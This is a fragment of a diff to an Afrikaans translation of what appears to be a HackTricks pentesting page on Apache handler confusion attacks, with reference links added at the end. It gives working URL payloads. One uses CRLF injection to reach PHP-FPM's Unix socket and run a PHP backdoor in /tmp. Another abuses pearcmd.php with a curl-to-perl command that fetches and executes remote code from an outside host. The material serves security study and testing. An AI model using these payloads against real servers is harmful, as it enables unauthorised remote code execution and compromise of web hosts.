`X-Forwarded-For` kop is bygevoeg wat toegang tot wolk metadata eindpunte voorkom. +Echter, die `X-Forwarded-For` header word bygevoeg, wat toegang tot cloud metadata endpoints verhoed. -#### **Arbitraire Handler om Lokale Unix Domein Socket te Benader** +#### **Arbitrêre handler om toegang tot plaaslike Unix Domain Socket te kry** -Toegang tot PHP-FPM se lokale Unix Domein Socket om 'n PHP backdoor wat in `/tmp/` geleë is, uit te voer: +Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor in `/tmp/` uit te voer: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a %0d%0a ``` -#### **Arbitraire Handler na RCE** +#### **Arbitrary Handler to RCE** -Die amptelike [PHP Docker](https://hub.docker.com/_/php) beeld sluit PEAR (`Pearcmd.php`) in, 'n opdraglyn PHP-pakketbestuur gereedskap, wat misbruik kan word om RCE te verkry: +Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP-pakketbestuursinstrument wat misbruik kan word om RCE te verkry: ``` http://server/cgi-bin/redir.cgi?r=http://%0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS} @@ -237,10 +265,13 @@ orange.tw/x|perl Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -Kontroleer [**Docker PHP LFI Samevatting**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geskryf deur [Phith0n](https://x.com/phithon_xg) vir die besonderhede van hierdie tegniek. +Kyk na [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geskryf deur [Phith0n](https://x.com/phithon_xg) vir die besonderhede van hierdie tegniek. ## Verwysings - [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) +- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html) +- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html) +- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html) {{#include ../../banners/hacktricks-training.md}}